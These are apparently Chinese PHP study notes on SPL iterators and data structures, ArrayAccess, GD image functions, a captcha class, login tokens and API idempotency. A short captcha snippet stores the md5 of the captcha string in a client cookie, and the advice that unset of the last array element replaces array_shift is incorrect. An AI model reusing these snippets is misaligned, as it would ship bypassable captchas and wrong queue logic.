spl_autoload_register — 注册给定的函数作为__autoload的实现
spl_autoload_unregister — 注销已注册的__autoload()函数
spl_autoload — __autoload()函数的默认实现
spl_classes — 返回所有可用的SPL类
spl_object_hash — 返回指定对象的hash id
spl_object_id — Return the integer object handle for given object
文件处理类
SplFileInfo
SplFileObject
SplTempFileObject
各种类及接口
ArrayObject class
SplObserver interface
SplSubject interface
【 iterator_count() 】
iterator_count ( Traversable $iterator ) : int
计算迭代器中的元素个数
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_count($iterator)); // int(4)
【 iterator_to_array() 】
iterator_to_array ( Traversable $iterator [, bool $use_keys = true ] ) : array
将迭代器中的元素拷贝到数组,参数use_keys表示是否使用迭代器元素键作为索引
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_export(iterator_to_array($iterator, true)); // array ('recipe' => 'pancakes',0 => 'egg',1 => 'milk',2 => 'flour')
var_export(iterator_to_array($iterator, false)); // array (0 => 'pancakes',1 => 'egg',2 => 'milk',3 => 'flour')
【 iterator_apply() 】
iterator_apply ( Traversable $iterator , callable $function [, array $args ] ) : int
为迭代器中每个元素调用一个回调函数,返回已迭代的元素个数
为了遍历iterator回调函数必须返回TRUE,args参数是传递到回调函数的参数
function print_caps(Iterator $iterator) {
echo strtoupper($iterator->current()) . "\t";
return TRUE;
}
$it = new ArrayIterator(array("Apples", "Bananas", "Cherries"));
iterator_apply($it, "print_caps", array($it)); // APPLES BANANAS CHERRIES
数据结构
双向链表 SplDoublyLinkedList SplStack SplQueue
双链表是一种重要的线性存储结构,对于双链表中的每个节点,不仅仅存储自己的信息,还要保存前驱和后继节点的地址。 PHP SPL中的SplDoublyLinkedList类提供了对双链表的操作。SplDoublyLinkedList类摘要如下SplDoublyLinkedList的使用
【 SplStack类 - 栈 】
通过使用一个双向链表来提供栈的主要功能,栈内数据后进先出、先进后出
$stack = new SplStack(); //继承自SplDoublyLinkedList类
$stack->push("a\n");
$stack->push("b\n");
echo $stack->pop();
echo $stack->pop();
echo $stack->offsetSet(0,'B');//堆栈的offset=0是Top所在的位置,offset=1是Top位置节点靠近bottom位置的相邻节点,以此类推
$stack->rewind();//双向链表的rewind和堆栈的rewind相反,堆栈的rewind使得当前指针指向Top所在的位置,而双向链表调用之后指向bottom所在位置
echo 'current1:'.$stack->current();
$stack->next(); //堆栈的next操作使指针指向靠近bottom位置的下一个节点,而双向链表是靠近top的下一个节点
echo 'current2:'.$stack->current();
【 SplQueue类 - 队列 】
通过使用一个双向链表来提供队列的主要功能,队列中的数据先进先出、后进后出,进行插入操作的端称为队尾,进行删除操作的端称为队头
在性能方面,使用spl的数据结构比使用array模拟出来的队列在性能上强很多
虽然使用Array可以实现队列,但实际上性能会非常差。在一个大并发的服务器程序上,建议使用SplQueue作为队列数据结构
这个问题出在array_shift,array_pop()是O(1),array_shift()是O(n),因为array_shift会重置数组的index,所以如果数组很大非常慢
用unset($arrq[count($arrq) - 1]);代替array_shift($arrq);可以大幅提升array的性能
SplQueue类摘要
堆 SplHeap SplMaxHeap SplMinHeap
堆(Heap)就是为了实现优先队列而设计的一种数据结构,它是通过构造二叉堆(二叉树的一种)实现。根节点最大的堆叫做最大堆或大根堆(SplMaxHeap),根节点最小的堆叫做最小堆或小根堆(SplMinHeap)。二叉堆还常用于排序(堆排序)。SplHeap类摘要如下
显然它是一个抽象类,最大堆(SplMaxHeap)和最小堆(SplMinHeap)就是继承它实现的。最大堆和最小堆并没有额外的方法堆SplHeap简单使用The SplMinHeap class provides the main functionalities of a heap,keeping the minimum on the top,堆
优先队列 SplPriorityQueue
优先队列也是非常实用的一种数据结构,基于堆实现的,可以通过加权对值进行排序,由于排序在php内部实现,业务代码中将精简不少而且更高效。通过SplPriorityQueue::setExtractFlags(int $flag)设置提取方式可以提取数据(等同最大堆)、优先级、和两者都提取的方式。
阵列 SplFixedArray
SplFixedArray类摘要如下映射 SplObjectStorage
用来存储一组对象的,特别是需要唯一标识对象的时候。 PHP SPL SplObjectStorage类实现了Countable,Iterator,Serializable,ArrayAccess四个接口,可实现统计、迭代、序列化、数组式访问等功能。SplObjectStorage类摘要如下
PHP预定义接口之ArrayAccess(数组式访问)接口
ArrayAccess提供像访问数组一样访问对象的能力的接口
接口摘要
ArrayAccess {
abstract public boolean offsetExists(mixed $offset) // 检查一个偏移位置是否存在
abstract public mixed offsetGet(mixed $offset) // 获取一个偏移位置的值
abstract public void offsetSet(mixed $offset,mixed $value) // 设置一个偏移位置的值
abstract public void offsetUnset(mixed $offset) // 复位一个偏移位置的值
}
对一个实现了ArrayAccess接口的对象使用isset()或empty()时,ArrayAccess::offsetExists方法将执行
如果一个类实现了ArrayAccess接口,那么这个类的对象就可以使用$foo['xxx']这种结构了,方法的实现代码想怎么写就怎么写,当然代码的功能最好是贴近方法名
$foo['xxx'] 对应调用offsetGet方法。
$foo['xxx'] = 'yyy' 对应调用offsetSet方法。
isset($foo['xxx']) 对应调用offsetExists方法。
unset($foo['xxx']) 对应调用offsetUnset方法。
引申:配合单例使用才好,可以在自己的框架中使用使用ArrayAccess实现配置文件的自动加载,ArrayAccess是从配置生成对象的基础类
php图像处理
图片也是一种文件,只是内容不是肉眼直接可见的。记事本打开一张图片只会看到一片乱码,对于可以读写它的程序来说一点都不乱。如果知道一种图片的格式就可以自己生成一张图片
把一些特殊格式的数据保存到一个文件就可以生成一张图片,反之如果用PHP直接输出这些内容,浏览器也会认为这是一张图片
php以文件形式读取图片,获取的图片数据可以存储在session内使用
使用PHP进行任何形式的输出时,浏览器认为这是一个HTML网页才能看到源代码;在图片数据输出之前添加header("Content-type:image/jpeg");浏览器会把PHP文件作为图片文件,且看不到右键源文件
可以像调用jpg文件一样调用PHP文件来显示图片,img src='readimg.php'
获取的图片数据可以使用新建文件的方式复制另存为其他图片文件等
要直接输出图片的PHP程序,一定不可能含有别的输出,否则只能单纯的输出图片的内容,就是那堆乱码
如果输出的是图片内容,要能正确显示就必须告诉浏览器本次输出别当成网页,而是当成图片,也就是说php程序是一张图片。如果要想在别的网页使用这张图片,需要像平时一样img标记来调用这张图片。
<img src="img.php" />
把这个PHP程序,当成一张图片来对待,而不能直接在这个程序写上。
<img src="< ?PHP 我们刚才的代码 ?>" />
这样是不对的,这样只会导致一个结果,这是不可能显示得出来的
<img src="一堆乱码" />
所以使用PHP处理图片的程序一定是单项功能的PHP程序,除非不输出这张图片,而只是把它保存起来
打开文件的形式读取图片,可以使用img src="img.php"来调用图片文件复制图片
imagick
imagick是一个PHP的扩展,用ImageMagick提供的API进行图片的创建与修改,不过这些操作已经包装到扩展imagick中去了,最终调用的是ImageMagick提供的API
ImageMagick是一个用于查看、编辑位图文件以及进行图像格式转换的开放源代码软件套装,它可以读取、编辑超过100种图象格式,可用来替换GD库。
ImageMagick是一套软件系列,主要用于图片的创建、编辑以及转换等,ImageMagick的官方网站http://www.imagemagick.org/,ImageMagick与GD的性能要高很多,如果是在处理大量的图片时更加能体现ImageMagick的性能。著名的图片服务提供商Flickr使用的是ImageMagick,还有Yupoo、手机之家使用的也是ImageMagick。
Intervention Image库
Intervention Image是一个PHP图像处理和操作库,为创建、编辑和合成图像提供了一种更简单、更具表现力的方式,Laravel内部已集成
https://github.com/Intervention/image
Requirements: PHP >=5.4, Fileinfo Extension
Supported Image Libraries: GD Library (>=2.0), Imagick PHP extension (>=6.5.7)
$img = Image::make('public/foo.jpg'); // open an image file
$img->resize(320, 240); // resize image instance
$img->insert('public/watermark.png'); // insert a watermark
$img->save('public/bar.jpg'); // save image in desired format
PHP图形处理函数库: GD库 php_gd2.dll
图像处理应用场景 1.缩略图 2.验证码 3.水印 4.图片裁剪 函数大致上可以分成四类: 创建,绘画,设置,输出
处理现成的图像
【 imagecreatefrompng() 】
resource imagecreatefrompng ( string $filename )
由文件或URL创建一个新图象,返回一图像标识符,代表了从给定的文件名取得的图像
成功后返回图象资源,失败后返回FALSE
$originimg=imagecreatefromjpeg("l12.jpg") 加载jpg图像
imagecreatefromgif()
imagecreatefrompng()
imagecreatefromwbmp()
imagecreatefromxbm()
处理创建过程中的错误
【 getimagesize() 】
array getimagesize ( string $filename [,array &$imageinfo ] )
读取图片大小,将测定任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM或WBMP图像文件的大小并返回图像的尺寸及文件类型和一个可以用于普通HTML文件中IMG标记中的height/width文本字符串。
如果不能访问filename指定的图像或其不是有效的图像,getimagesize()将返回FALSE并产生一条E_WARNING级的错误
list($width,$height) = getimagesize("l12.jpg");
创建
【 imagecreate() 】 resource imagecreate ( int $x_size ,int $y_size ) 新建一个基于调色板的图像,返回一个图像标识符,代表了一幅大小为x_size和y_size的空白图像,失败返回false 推荐使用imagecreatetruecolor() 无须单位px,imagecolorallocate加背景色输出一张黑色的图片,没有在上面画任何内容,也没告诉它应该用什么颜色填充红色背景,imagecolorallocate只有第一次使用才会给图像填上背景色,重新使用并不会改变背景色新建一个新的GD图像流并输出图像
【 imagecreatetruecolor() 】 resource imagecreatetruecolor ( int $width ,int $height ) 新建一个真彩色图像,返回一个图像标识符,代表了一幅大小为x_size和y_size的黑色图像。失败返回false 支持更多颜色,imagefill($img,0,0,$color)加背景色新建一个新的GD图像流并输出图像
【 imagedestroy() 】 bool imagedestroy ( resource $image ) 销毁图像,释放资源,释放与image关联的内存。image是由图像创建函数返回的图像标识符如imagecreatetruecolor()绘制
int imagecolorallocate ( resource $image ,int $red ,int $green ,int $blue ) 为图像分配颜色,第一次设置时才是设置背景色 imagecolorallocate()返回一个标识符,代表了由给定的RGB成分组成的颜色。red、green和blue分别是所需要的颜色的红绿蓝成分。这些参数是0到255的整数或者十六进制的0x00到0xFF。imagecolorallocate()必须被调用以创建每一种用在image所代表的图像中的颜色。 第一次对imagecolorallocate()的调用会给基于调色板的图像填充背景色,即用imagecreate()建立的图像【 imagecolortransparent() 】 int imagecolortransparent ( resource $image [,int $color ] ) 将某个颜色定义为透明色,返回新透明色的标识符,如果省略color则返回当前透明色的标识符 将image图像中的透明色设定为color。image是imagecreatetruecolor()返回的图像标识符,color是imagecolorallocate()返回的颜色标识符 透明色是图像的一种属性,透明度不是颜色的属性。一旦设定了某个颜色为透明色,图像中之前画为该色的任何区域都成为透明的 透明度仅能通过imagecopymerge()和真彩色图像拷贝,不能用imagecopy()或调色板图像图像添加字符串
【 imagestring() 】 bool imagestring(resource $image,int $fontfamily,int $x,int $y,string $str,int $color) 水平地画一行字符串,用color颜色将字符串str画到image所代表的图像的x,y坐标处,这是字符串左上角坐标,整幅图像的左上角为0,0。如果fontfamily是1、2、3、4或5则使用内置字体,php自带字体无法显示中文,需要自定义字体【 imagestringup() 】 bool imagestringup(resource $image,int $font,int $x,int $y,string $s,int $col) 垂直地画一行字符串,用col颜色将字符串s垂直地画到image所代表的图像的x,y座标处(图像的左上角为0,0)。如果font是1、2、3、4或5则使用内置字体 【 imagettftext() 】 array imagettftext(resource $image,float $fontsize,float $angle,int $x,int $y,int $color,string $fontfile,string $text) 用TrueType字体向图像写入文本,使用自定义字体来画字 angle参数角度制表示的角度,0度为从左向右读的文本,更高数值表示逆时针旋转。例如90度表示从下向上读的文本 参数x、y所表示的坐标定义了第一个字符的基本点(大概是字符的左下角)。这和imagestring()不同,其x、y定义了第一个字符的左上角。例如"top left"为0,0 Y坐标设定了字体基线的位置,不是字符的最底端 color参数表示颜色索引,使用负的颜色索引值具有关闭防锯齿的效果,见imagecolorallocate() 要一个带点阵格式的字体文件,且支持中文的,最常见的就是ttf类型的字体 // Set the enviroment variable for GD putenv('GDFONTPATH=' . realpath('.')); // Name the font to be used (note the lack of the .ttf extension) $font = 'SomeFont'; 中文在这里必须是utf8编码,把PHP文件转换成utf8编码就可以了。使用gbk编码的可以给字体转换一下编码 $text = iconv("gbk","utf-8","中文支持"); 返回一个含有8个单元的数组表示了文本外框的四个角,顺序为左下角,右下角,右上角,左上角。这些点是相对于文本的,和角度无关,因此左上角指的是以水平方向看文字时其左上角生成一个白色400x30像素PNG图像,其中有黑色带灰色阴影Arial字体写的"Testing..."图像画线
【 imageline() 】 bool imageline ( resource $image ,int $x1 ,int $y1 ,int $x2 ,int $y2 ,int $color ) 画一条线段,用color颜色在图像image中从坐标x1,y1到x2,y2(图像左上角为0,0)画一条线段 坐标可以用for循环画出网格 for($i=0; $i < 6; $i++) { $y = $i*50; imageline($img,0,$y,300,$y,$color); }画一条粗线【 imagesetbrush() 】 bool imagesetbrush ( resource $image ,resource $brush ) 设定画线用的画笔图像 当用特殊的颜色IMG_COLOR_BRUSHED或IMG_COLOR_STYLEDBRUSHED绘画时,imagesetbrush()设定了所有画线的函数(例如imageline()和imagepolygon())所使用的画笔图像。使用画笔图像所画的线是由brush所代表的图像构成的 使用完画笔图像后不需要采取什么特殊动作。但如果销毁了画笔图像,在设定一个新的画笔图像之前不能使用 IMG_COLOR_BRUSHED 或 IMG_COLOR_STYLEDBRUSHED 【 imagesetstyle() 】 bool imagesetstyle ( resource $image ,array $style ) 设定画线的风格,设定所有画线的函数例如imageline()和imagepolygon()在使用特殊颜色IMG_COLOR_STYLED或用IMG_COLOR_STYLEDBRUSHED画一行图像时所使用的风格,成功返回TRUE否则返回FALSE style参数是像素组成的数组。可以通过常量IMG_COLOR_TRANSPARENT来添加一个透明像素用imagesetstyle()和imageline()的组合画虚线将颜色作为笔刷,IMG_COLOR_STYLED表示用颜色而不是图片作为画笔在画布上从左上角到右下角画一行虚线将一个图片作为笔刷进行绘制 每个$bg代表1像素,$color代表笑脸出现的位置。所以这里$bg的重复数越多,笑脸与笑脸之间的间距就越大,反之亦然。可以有多个$color。$bg参数是必须的,缺少会出错 IMG_COLOR_STYLEDBRUSHED参数明确了在划线时要用一个图像来作为笔刷。而笔刷又由imagesetbrush函数来确定【 imagedashedline() 】 画虚线,反对使用本函数,应该用imagesetstyle()和imageline()的组合替代之 【 imageellipse() 】 bool imageellipse(resource $image,int $cx,int $cy,int $width,int $height,int $color) 在指定的坐标上画一个椭圆,成功时返回TRUE,失败时返回FALSE cx参数表示中间的X坐标。 cy参数表示中间的Y坐标。 【 imagearc() 】 bool imagearc(resource $image,int $cx,int $cy,int $w,int $h,int $s,int $e,int $color) 绘制椭圆弧,包括圆弧 以cx,cy(图像左上角为0,0)为中心在image所代表的图像中画一个椭圆弧。w和h分别指定了椭圆的宽度和高度,起始和结束点以s和e参数以角度指定。0°位于三点钟位置,以顺时针方向绘画用imagearc画一个圆【 imagerectangle() 】 bool imagerectangle ( resource $image ,int $x1 ,int $y1 ,int $x2 ,int $y2 ,int $col ) 画一个矩形,用col颜色在image图像中画一个矩形,其左上角坐标为x1,y1,右下角坐标为x2,y2 【 imagefill() 】 bool imagefill ( resource $image ,int $x ,int $y ,int $color ) 区域填充,在image图像的坐标x,y(图像左上角为0,0)处用color颜色执行区域填充(即与x,y点颜色相同且相邻的点都会被填充)【 imagefilledrectangle() 】 bool imagefilledrectangle ( resource $image ,int $x1 ,int $y1 ,int $x2 ,int $y2 ,int $color ) 画矩形并填充 【 imagefilledarc() 】 bool imagefilledarc ( resource $image ,int $cx ,int $cy ,int $width ,int $height ,int $start ,int $end ,int $color ,int $style ) 画椭圆弧并填充 cx参数表示中间的x坐标,cy参数表示中间的y坐标。 start参数表示起点角度。 end参数表示终点角度。 0° is located at the three-o'clock position,and the arc is drawn clockwise style参数的值可以是下列值的按位或(OR): IMG_ARC_PIE IMG_ARC_CHORD IMG_ARC_NOFILL IMG_ARC_EDGED IMG_ARC_PIE 和 IMG_ARC_CHORD 是互斥的;IMG_ARC_CHORD 只是用直线连接了起始和结束点,IMG_ARC_PIE 则产生圆形边界。IMG_ARC_NOFILL 指明弧或弦只有轮廓,不填充。IMG_ARC_EDGED 指明用直线将起始和结束点与中心点相连,和 IMG_ARC_NOFILL 一起使用是画饼状图轮廓的好方法(而不用填充)创建3D效果的饼状图【 imagefilledellipse() 】 bool imagefilledellipse(resource $image,int $cx,int $cy,int $width,int $height,int $color) 画椭圆并填充【 imagefilledpolygon() 】 bool imagefilledpolygon ( resource $image ,array $points ,int $num_points ,int $color ) 画多边形并填充 points参数是一个按顺序包含有多边形各顶点的 x 和 y 坐标的数组。 num_points参数是顶点的总数,必须大于 3复制,裁剪,放大缩小
图片本身不能调整,只能在复制的过程中调整 【 imagecolorsforindex() 】 锐化 array imagecolorsforindex ( resource $image ,int $index ) 取得某索引的颜色 返回一个具有red,green,blue和alpha的键名的关联数组,包含了指定颜色索引的相应的值【 imagecolorat() 】 锐化 int imagecolorat ( resource $image ,int $x ,int $y ) 取得某像素的颜色索引值,返回image所指定的图形中指定位置像素的颜色索引值。 如果PHP编译时加上了GD库2.0或更高的版本并且图像是真彩色图像,则本函数以整数返回该点的RGB值。用移位加掩码来取得红、绿、蓝各自成分的值取得各自的RGB值【 imagerotate() 】 resource imagerotate(resource $image,float $angle,int $bgd_color [,int $ignore_transparent=0]) 用给定角度旋转图像,将src_im图像用给定的angle角度旋转。bgd_color指定了旋转后没有覆盖到的部分的颜色。 旋转的中心是图像的中心,旋转后的图像会按比例缩小以适合目标图像的大小——边缘不会被剪去 返回旋转后的图像资源,失败时返回FALSE把一幅图像旋转180度——上下颠倒【 imagesx() 】 int imagesx ( resource $image ) 返回image所代表的图像的宽度 【 imagesy() 】 int imagesy ( resource $image ) 返回image所代表的图像的高度图片水平翻转、垂直翻转图片裁剪处理图片锐化处理图片普通缩放图片等比例缩放、没处理透明色gif透明色处理【 imagecopy() 】 bool imagecopy(resource $dst_im,resource $src_im,int $dst_x,int $dst_y,int $src_x,int $src_y,int $src_w,int $src_h) 拷贝图像的一部分,将src_im图像中坐标从src_x,src_y开始,宽度为src_w,高度为src_h的一部分拷贝到dst_im图像中坐标为dst_x和dst_y的位置上 【 imagecopymerge() 】 bool imagecopymerge ( resource $dst_im ,resource $src_im ,int $dst_x ,int $dst_y ,int $src_x ,int $src_y ,int $src_w ,int $src_h ,int $pct ) 拷贝并合并图像的一部分 复制加载的原图像到另一新生成的图像上,值复制一部分则是裁剪,新图原图大小不同则是放大缩小 将src_im图像中坐标从src_x,src_y开始,宽度为src_w,高度为src_h的一部分拷贝到dst_im图像中坐标为dst_x和dst_y的位置上。两图像将根据pct来决定合并程度,其值范围从0到100。当pct=0时实际上什么也没做,当为100时对于调色板图像本函数和imagecopy()完全一样,它对真彩色图像实现了alpha透明 【 imagecopyresampled() 】 bool imagecopyresampled ( resource $dst_image ,resource $src_image ,int $dst_x ,int $dst_y ,int $src_x ,int $src_y ,int $dst_w ,int $dst_h ,int $src_w ,int $src_h ) 重采样拷贝部分图像并调整大小,成功时返回TRUE,失败时返回FALSE imagecopyresampled()将一幅图像中的一块正方形区域拷贝到另一个图像中,平滑地插入像素值,因此尤其是减小了图像的大小而仍然保持了极大的清晰度。 In other words,imagecopyresampled() will take a rectangular area from src_image of width src_w and height src_h at position (src_x,src_y) and place it in a rectangular area of dst_image of width dst_w and height dst_h at position (dst_x,dst_y). 如果源和目标的宽度和高度不同则会进行相应的图像收缩和拉伸。坐标指左上角。本函数可用来在同一幅图内部拷贝(如果dst_image和src_image相同的话)区域,但如果区域交迭的话则结果不可预知 参数 dst_image表示目标图象连接资源。 src_image表示源图象连接资源。 dst_x表示目标 X 坐标点。 dst_y表示目标 Y 坐标点。 src_x表示源的 X 坐标点。 src_y表示源的 Y 坐标点。 dst_w表示目标宽度。 dst_h表示目标高度。 src_w表示源图象的宽度。 src_h表示源图象的高度。将图像调整为原有尺寸的一半将图像调整为原有尺寸的一半按比例对图像重新采样,以最大宽度高度为200像素显示一个图像压缩图像图像压缩处理类GD和图像处理函数
【 imagesavealpha() 】 imagesavealpha ( resource $image , bool $saveflag ) : bool 设置标记以在保存PNG图像时保存完整的alpha通道信息,与单一透明色相反 要使用本函数必须将alphablending清位,imagealphablending($im, false) imagealphablending($image, false); imagesavealpha($image, true); 不是所有的浏览器都支持alpha通道,如果在你的浏览器上碰到问题,试着用兼容alpha通道的浏览器如最新版的Mozilla重新加载脚本 image参数由图象创建函数(例如imagecreatetruecolor())返回的图象资源。 saveflag参数是否保存透明(alpha)通道,默认false 返回值: 成功时返回true,或者在失败时返回false输出 - 资源型的内容不能直接输出
【 imagetypes() 】 int imagetypes ( void ) 返回当前PHP版本所支持的图像类型,本函数以比特字段方式返回与当前PHP版本关联的GD库所支持的图像格式。将返回以下结果,IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP| IMG_XPM。 if (imagetypes() & IMG_PNG) echo "PNG Support is enabled"; # 检查是否支持PNG 【 imagejpeg() 】 bool imagejpeg ( resource $image [,string $filename [,int $quality ]] ) 输出图象到浏览器或文件,从image图像以filename为文件名创建一个JPEG图像 以jpg格式输出,未设置第二参数则只输出不保存 参数image是由图象创建函数(例如imagecreatetruecolor())返回的图象资源。 参数filename表示文件保存的路径,如果未设置或为NULL将会直接输出原始图象流,如果要省略这个参数而提供quality参数可以使用NULL。 quality参数为可选项,范围从0(最差质量,文件更小)到100(最佳质量,文件最大)。默认为IJG默认的质量值(大约 75) 如果想输出渐进式JPEG,需要用imageinterlace()函数将隔行扫描比特置位 【 imagegif() 】 imagegif($img[,保存路径]) 以Gif格式输出 【 imagepng() 】 imagepng($img[,保存路径]) 以png格式输出输出JPEG图像保存一副JPEG图像以75%的图像质量输出图像验证码 virify
header("Cache-Control: max-age=1,s-maxage=1,no-cache,must-revalidate"); header("Content-type: image/png;charset=gb2312"); $str = md5($str); SetCookie("verification",$str,time() + 7200,"/"); // 选择cookie $_SESSION["verification"] = $str; // 选择Session简单验证码【 通过GD库绘制验证码 】PHP生成图片随机验证码验证码类微擎验证码类 class Captcha { public $maxAngle = 15; public $maxOffset = 5; public $phrase = ''; public function build($width, $height) { $image = @imagecreatetruecolor($width, $height); if (empty($image)) { return error('1', 'Not supplied GD'); } $bg = imagecolorallocate($image, $this->rand(200, 255), $this->rand(200, 255), $this->rand(200, 255)); imagefill($image, 0, 0, $bg); $square = $width * $height * 3; $effects = $this->rand($square / 2000, $square / 1000); for ($e = 0; $e < $effects; ++$e) { $this->drawLine($image, $width, $height); } $this->phrase = $this->phrase(); $color = $this->writePhrase($image, $this->phrase, $this->font(), $width, $height); $square = $width * $height; $effects = $this->rand($square / 3000, $square / 2000); if (0 !== $this->maxFrontLines) { for ($e = 0; $e < $effects; ++$e) { $this->drawLine($image, $width, $height, $color); } } $image = $this->distort($image, $width, $height, $bg); $this->image = $image; return $this; } public function output($quality = 90) { header('content-type: image/png'); imagepng($this->image); imagedestroy($this->image); } protected function phrase() { return random(4, true); } protected function rand($min, $max) { mt_srand((float) microtime() * 1000000); return mt_rand($min, $max); } protected function drawLine($image, $width, $height, $tcol = null) { if (null === $tcol) { $tcol = imagecolorallocate($image, $this->rand(100, 255), $this->rand(100, 255), $this->rand(100, 255)); } if ($this->rand(0, 1)) { $Xa = $this->rand(0, $width / 2); $Ya = $this->rand(0, $height); $Xb = $this->rand($width / 2, $width); $Yb = $this->rand(0, $height); } else { $Xa = $this->rand(0, $width); $Ya = $this->rand(0, $height / 2); $Xb = $this->rand(0, $width); $Yb = $this->rand($height / 2, $height); } imagesetthickness($image, $this->rand(1, 3)); imageline($image, $Xa, $Ya, $Xb, $Yb, $tcol); } protected function writePhrase($image, $phrase, $font, $width, $height) { $size = $width / strlen($phrase) - $this->rand(0, 3) - 1; $box = imagettfbbox($size, 0, $font, $phrase); $textWidth = $box[2] - $box[0]; $textHeight = $box[1] - $box[7]; $x = ($width - $textWidth) / 2; $y = ($height - $textHeight) / 2 + $size; $textColor = array($this->rand(0, 150), $this->rand(0, 150), $this->rand(0, 150)); $col = imagecolorallocate($image, $textColor[0], $textColor[1], $textColor[2]); $length = strlen($phrase); for ($i = 0; $i < $length; ++$i) { $box = imagettfbbox($size, 0, $font, $phrase[$i]); $w = $box[2] - $box[0]; $angle = $this->rand(-$this->maxAngle, $this->maxAngle); $offset = $this->rand(-$this->maxOffset, $this->maxOffset); imagettftext($image, $size, $angle, $x, $y + $offset, $col, $font, $phrase[$i]); $x += $w; } return $col; } public function distort($image, $width, $height, $bg) { $contents = imagecreatetruecolor($width, $height); $X = $this->rand(0, $width); $Y = $this->rand(0, $height); $phase = $this->rand(0, 10); $scale = 1.1 + $this->rand(0, 10000) / 30000; for ($x = 0; $x < $width; ++$x) { for ($y = 0; $y < $height; ++$y) { $Vx = $x - $X; $Vy = $y - $Y; $Vn = sqrt($Vx * $Vx + $Vy * $Vy); if (0 != $Vn) { $Vn2 = $Vn + 4 * sin($Vn / 30); $nX = $X + ($Vx * $Vn2 / $Vn); $nY = $Y + ($Vy * $Vn2 / $Vn); } else { $nX = $X; $nY = $Y; } $nY = $nY + $scale * sin($phase + $nX * 0.2); $p = $this->interpolate( $nX - floor($nX), $nY - floor($nY), $this->getCol($image, floor($nX), floor($nY), $bg), $this->getCol($image, ceil($nX), floor($nY), $bg), $this->getCol($image, floor($nX), ceil($nY), $bg), $this->getCol($image, ceil($nX), ceil($nY), $bg) ); if (0 == $p) { $p = $bg; } imagesetpixel($contents, $x, $y, $p); } } return $contents; } protected function interpolate($x, $y, $nw, $ne, $sw, $se) { list($r0, $g0, $b0) = $this->getRGB($nw); list($r1, $g1, $b1) = $this->getRGB($ne); list($r2, $g2, $b2) = $this->getRGB($sw); list($r3, $g3, $b3) = $this->getRGB($se); $cx = 1.0 - $x; $cy = 1.0 - $y; $m0 = $cx * $r0 + $x * $r1; $m1 = $cx * $r2 + $x * $r3; $r = (int) ($cy * $m0 + $y * $m1); $m0 = $cx * $g0 + $x * $g1; $m1 = $cx * $g2 + $x * $g3; $g = (int) ($cy * $m0 + $y * $m1); $m0 = $cx * $b0 + $x * $b1; $m1 = $cx * $b2 + $x * $b3; $b = (int) ($cy * $m0 + $y * $m1); return ($r << 16) | ($g << 8) | $b; } protected function getRGB($col) { return array( (int) ($col >> 16) & 0xff, (int) ($col >> 8) & 0xff, (int) ($col) & 0xff, ); } protected function getCol($image, $x, $y, $background) { $L = imagesx($image); $H = imagesy($image); if ($x < 0 || $x >= $L || $y < 0 || $y >= $H) { return $background; } return imagecolorat($image, $x, $y); } protected function font() { return IA_ROOT . '/web/resource/fonts/captcha.ttf'; } } 微擎图片处理类添加文字水印添加图片水印Gif动画图片加水印
1.将Gif图片释放成一帧一帧的图 2.给每一个图片帧加上水印 3.合并每一帧生成加上水印的Gif图片
登录认证 权限验证 token oauth jwt
用户登录系统可细分为三项功能模块: 登录、注册和密码找回 常见的登陆页面一般是手机号/邮箱/用户名+密码的组合,使用用户名登录则用户名必须是一个唯一的 第三方登陆如可以点击QQ、微博、微信、淘宝等图标实现一键登陆 等待提示: 提供"正在验证"的提示,缓解用户焦虑 错误提示: 用户名或密码错误+可试错次数,当用户试错次数用完后引导用户"找回密码"聚合登录:手机号、邮箱或帐号
【 登录机制 】 前后端分离或为了支持多个web应用,原来的cookies或session在使用上就会有很大的问题 cookie和session认证需要在同一主域名下才可以进行认证,目前可以把session存储在redis内进行解决 登录可分为三个阶段: 1、登录验证指客户端提供账号/密码或第三方平台(微信、qq)获取openid/unionid,向服务器提出登录请求,服务器应答请求判断能否登录并返回相应数据 2、登录持续指客户端登录后服务器能够分辨出已登录的客户端,并为其持续提供登录权限 3、退出登录指客户端退出登录状态。 客户端登录成功后服务器为其分配唯一的seesionId和token,sessionId记录着客户端登录状态,保存在服务器session中 客户端每次请求资源时都带上sessionId和token验,当sessionId失效带上token重新获取sessionId从而获取相应资源 单单一个sessionId判断用户的登录状态及身份并不可取,为此需要token进行身份审核,并且token存活时间应比sessionId长;因为sessionId一旦实效就可以通过token来保持登录状态; 简单登录流程如下: 客户端向服务器第一次发起登录请求(不传输用户名和密码)。 服务器利用RSA算法产生一对公钥和私钥,并保留私钥,将公钥发送给客户端。 客户端收到公钥后,加密用户密码,向服务器发起第二次登录请求(传输用户名和加密后的密码)。 服务器利用保留的私钥对密文进行解密得到真正的密码。 登录成功后,服务器在session中分配一个Id记录客户端访问状态
接口幂等性
幂等性是系统服务对外一种承诺,承诺只要调用接口成功,外部多次调用对系统的影响是一致的。声明为幂等的服务会认为外部调用失败是常态,并且失败之后必然会有重试。
什么情况下需要幂等,以SQL为例:
SELECT col1 FROM tab1 WHER col2=2,无论执行多少次都不会改变状态,是天然的幂等。
UPDATE tab1 SET col1=1 WHERE col2=2,无论执行成功多少次状态都是一致的,因此也是幂等操作。
UPDATE tab1 SET col1=col1+1 WHERE col2=2,每次执行的结果都会发生变化,这种不是幂等的。
insert into user(userid,name) values(1,'a') 如userid为唯一主键,即重复操作上面的业务只会插入一条用户数据,具备幂等性。如userid不是主键,可以重复,那上面业务多次操作,数据都会新增多条,不具备幂等性。
delete from user where userid=1,多次操作,结果一样,具备幂等性
产生原因是由于重复点击或网络重发等:
点击提交按钮两次;
点击刷新按钮;
使用浏览器后退按钮重复之前的操作,导致重复提交表单;
使用浏览器历史记录重复提交表单;
浏览器重复的HTTP请;
nginx重发等情况;
分布式RPC的try重发等;
并发业务场景:
用户快速点击按钮,或通过压测工具,写脚本发起并发请求分发到多台服务器,多台同时接收到请求,多次/并发请求有机率会并行执行,导致超出正常逻辑范围的问题
往往在这种情况下会出现很多异常的数据,比如:同一天多条的签到记录,并且多次累加积分奖励
职业羊毛党使用工具或写脚本恶意发起并发请求接口,翻倍获利后提现,从漏洞中谋取利益
1:幂等性的实质是一次或多次请求同一个资源,其结果是相同的。其关注的是对资源产生的影响(副作用)而不是结果,结果可以不同。比如列表查询的时候,一边在save或者是update,而你这边还是在select,其结果肯定是不同的,但你的select操作并未对数据(资源)产生影响(副作用);
